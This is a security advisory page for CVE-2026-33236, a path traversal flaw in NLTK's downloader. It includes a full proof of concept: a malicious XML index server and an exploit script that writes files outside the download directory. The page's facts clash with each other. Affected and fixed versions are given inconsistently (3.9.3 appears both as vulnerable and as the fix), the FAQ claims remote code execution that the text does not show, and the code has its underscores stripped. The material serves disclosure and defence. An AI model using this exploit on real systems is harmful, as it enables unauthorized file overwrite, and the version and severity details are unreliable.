CVE-2026-33236: NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!
Impact Scope 1. System File Overwrite
Reproduction Steps
Environment Setup
1. Install NLTK bash pip install nltk
2. Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server bash python3 maliciousserver.py
Step 2: Run exploit script bash python3 exploitvulnerability.py
Step 3: Verify results bash ls -la /tmp/testfile.zip
Proof of Concept
Malicious Server (maliciousserver.py)
python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler
Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")
Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """
Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)
with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")
HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass
Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")
Exploit Script (exploitvulnerability.py)
python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile
def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")
if name == "main": exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!
Other sources
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a - Configuration
In NLTK downloader code that processes remote XML index files (e.g., where it uses subdir and id for path construction in nltk/downloader.py:687 and object filename in nltk/downloader.py:695), add/enable validation so remote XML attributes containing path traversal sequences like '../' cannot be used for arbitrary directory creation, file creation, or overwrite.
NLTK downloader (nltk/downloader.py) Validation of remote XML attributes = Enable validation for subdir and id when processing remote XML index files
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33236?
The severity of CVE-2026-33236 is considered high due to the potential for remote code execution through path traversal attacks.
How do I fix CVE-2026-33236?
To fix CVE-2026-33236, ensure you update to NLTK version 3.9.3 or later, which addresses the vulnerability.
What causes CVE-2026-33236?
CVE-2026-33236 is caused by the NLTK downloader's failure to validate the `subdir` and `id` attributes from remote XML index files.
Who is affected by CVE-2026-33236?
CVE-2026-33236 affects users of the NLTK package version 3.9.2 and earlier that rely on remote XML index files.
Can CVE-2026-33236 lead to data breaches?
Yes, if exploited, CVE-2026-33236 can lead to unauthorized access to sensitive files, resulting in data breaches.